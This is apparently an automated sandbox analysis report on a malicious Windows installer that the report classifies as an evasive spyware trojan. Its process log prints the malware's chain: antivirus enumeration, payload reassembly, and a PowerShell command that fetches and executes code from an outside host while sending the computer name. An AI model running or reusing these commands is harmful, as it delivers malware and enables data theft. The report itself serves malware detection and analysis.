Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.2141357432.00000000058C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goAppVClientCmdlets.psm1g
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org/
Source: PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000000.2193842529.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org0
Source: powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	String found in binary or memory: https://ssl.trustwave.com/CA03
Source: Auckland.com, 0000000C.00000003.2037868560.000000000424C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Auckland.com, 0000000C.00000003.2049423518.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2049641996.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2037868560.000000000424A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Auckland.com, 0000000C.00000003.2049423518.00000000041D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Auckland.com, 0000000C.00000003.2049423518.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2049641996.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2037868560.000000000424A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Auckland.com, 0000000C.00000003.2049423518.00000000041D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Az.8.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2197067219.0000000002D9F000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2200031699.000000007F7CB000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000000.2202484931.00000000006D1000.00000020.00000001.01000000.0000000B.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000000.2223787809.0000000000BED000.00000020.00000001.01000000.0000000D.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	String found in binary or memory: https://www.innosetup.com/
Source: Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2197067219.0000000002D9F000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2200031699.000000007F7CB000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000000.2202484931.00000000006D1000.00000020.00000001.01000000.0000000B.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000000.2223787809.0000000000BED000.00000020.00000001.01000000.0000000D.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

System Summary

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Window found: window name: AutoHotkey

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\'Set-up.exe	File created: C:\Windows\MistakeCoffee	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File created: C:\Windows\KitsAttend	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File created: C:\Windows\PullingFighters	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_004074BB	0_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: String function: 004062A3 appears 58 times

Source: 'Set-up.exe

Static PE information: invalid certificate

Source: PSNDEYKP9CHQN0J79BBDFB.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	Static PE information: Number of sections : 11 > 10
Source: PSNDEYKP9CHQN0J79BBDFB.tmp.19.dr	Static PE information: Number of sections : 11 > 10
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	Static PE information: Number of sections : 11 > 10

Source: 'Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/38@5/3

Source: C:\Users\user\Desktop\'Set-up.exe

0_2_004044A5

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\Desktop\'Set-up.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Meetup

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03

Source: C:\Users\user\Desktop\'Set-up.exe

File created: C:\Users\user\AppData\Local\Temp\nsi3634.tmp

Jump to behavior

Source: 'Set-up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\'Set-up.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: Auckland.com, 0000000C.00000003.2037742048.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2037625183.00000000041DD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\'Set-up.exe

File read: C:\Users\user\Desktop\'Set-up.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\'Set-up.exe "C:\Users\user\Desktop\'Set-up.exe"
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Up Up.cmd & Up.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 271185
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Meetup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "BURST" Lazy
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 271185\Auckland.com + Mono + Waves + Offered + Hotel + Statement + Bookstore + Oh + Alerts + Divisions + Az 271185\Auckland.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Initiated + ..\Monitors + ..\Arrived + ..\Spoken + ..\Distribution + ..\Ranks + ..\Gotta f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com Auckland.com f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe "C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe"
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Process created: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp "C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$40428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe"
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe "C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp "C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$50428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
